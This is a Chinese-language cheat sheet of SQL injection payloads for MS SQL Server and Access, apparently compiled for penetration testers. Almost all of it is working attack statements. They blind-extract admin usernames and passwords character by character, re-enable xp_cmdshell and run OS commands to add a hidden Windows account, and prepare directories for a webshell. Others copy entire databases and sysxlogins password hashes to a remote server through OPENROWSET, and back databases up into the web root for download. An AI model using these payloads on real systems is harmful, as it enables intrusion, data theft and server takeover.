       在對web應用進行***測試時，SQL注入無疑是最重要的檢測項之一，下面就對常用的SQL注入語句進行一個歸納總結，便於在進行***

測試時使用。

1.判斷有無注入點
; and 1=1 and 1=2

2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表

3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)

4.猜解字段名稱 在len( ) 括號裏面加上我們想到的字段名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用戶字段名稱name)>0)
and 1=(select count(*) from admin where len(密碼字段名稱password)>0)

5.猜解各個字段的長度 猜解長度就是把>0變換 直到返回正確頁面爲止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確

and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確

6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位
就這樣一次加一個字符這樣猜,猜到夠你剛纔猜出來的多少位了就對了,帳號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字符.

看服務器打的補丁=出錯了打了SP4補丁
and 1=(select @@VERSION)--

看數據庫連接賬號的權限，返回正常，證明是服務器角色sysadmin權限。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--

判斷連接數據庫帳號。（採用SA賬號連接 返回正常=證明了連接賬號是SA）
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--

看xp_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--

xp_cmdshell被刪除，恢復,支持絕對路徑的恢復
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--

反向PING自己實驗
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--

加帳號
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe

/c net user jiaoniang$ 1866574 /add--

創建一個虛擬目錄E盤：
;declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認Web站點" -v "e","e：\"--

訪問屬性：（配合寫入一個webshell）
declare @o int exec sp_oacreate wscript.shell, @o out exec sp_oamethod @o, run, NULL, cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

爆庫 特殊技巧：:%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--

得到庫名（從1到5都是系統的id，6以上纔可以判斷）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的數據庫名

and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設爲 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的數值假設爲18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設爲 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 來暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。。。。。假設存在user_id username ,password 等字段

and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段

?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用)

得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread

如果被限制則可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)

查詢構造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的語句是得到數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。
通過查看ffff的用戶資料可得第一個用表叫ad
然後根據表名ad得到這個表的ID 得到第二個表的名字

insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char

(0x69)+char(0x73), 0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123, admin--, password, 0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //爲access數據庫

枚舉出數據表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
這是將第一個表名更新到aaa的字段處。
讀出第一個表，第二個表可以這樣讀出來（在條件後加上 and name<>剛纔得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然後id=1552 and exists(select * from aaa where aaa>5)
讀出第二個表，一個個的讀出，直到沒有爲止。
讀字段是這樣：
;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--
然後id=152 and exists(select * from aaa where aaa>5)出錯，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--
然後id=152 and exists(select * from aaa where aaa>5)出錯，得到字段名

[獲得數據表名][將字段值更新爲表名，再想法讀出這個字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一個加一個])

[ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)
通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]

[獲得數據表字段名][將字段值更新爲字段名，再想法讀出這個字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id(要查詢的數據表名),字段列如:1) [ where 條件]

繞過IDS的檢測[使用變量]

 開啓遠程數據庫
基本語法
select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 )
參數: (1) OLEDB Provider name 
其中連接字符串參數可以是任何端口用來連接,比如
select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table
複製目標主機的整個數據庫insert所有遠程表到本地表。

基本語法：
insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2
這行語句將目標主機上table2表中的所有數據複製到遠程數據庫中的table1表中。實際運用中適當修改連接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from

table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
複製數據庫：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2

複製哈西表（HASH）登錄密碼的hash存儲於sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select

* from database.dbo.sysxlogins
得到hash之後，就可以進行暴力破解。

遍歷目錄的方法： 先創建一個臨時表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有驅動器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 獲得子目錄列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 獲得所有子目錄的目錄樹結構,並寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某個文件的內容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree適用權限PUBLIC）
寫入表：
語句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
語句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
語句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
語句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
語句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
語句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
語句9：and 1=(SELECT IS_MEMBER(db_owner));--

把路徑寫到表中去：
;create table dirs(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100), id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--

把數據庫備份到網頁目錄：下載
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--

and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 參看相關表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)

xp_dirtree適用權限PUBLIC
exec master.dbo.xp_dirtree c:\
返回的信息有兩個字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100), id int)
建表，這裏建的表是和上面xp_dirtree相關連，字段相等、類型相同。
insert dirs exec master.dbo.xp_dirtree c:\
只要我們建表與存儲進程返回的字段相定義相等就能夠執行！達到寫表的效果.
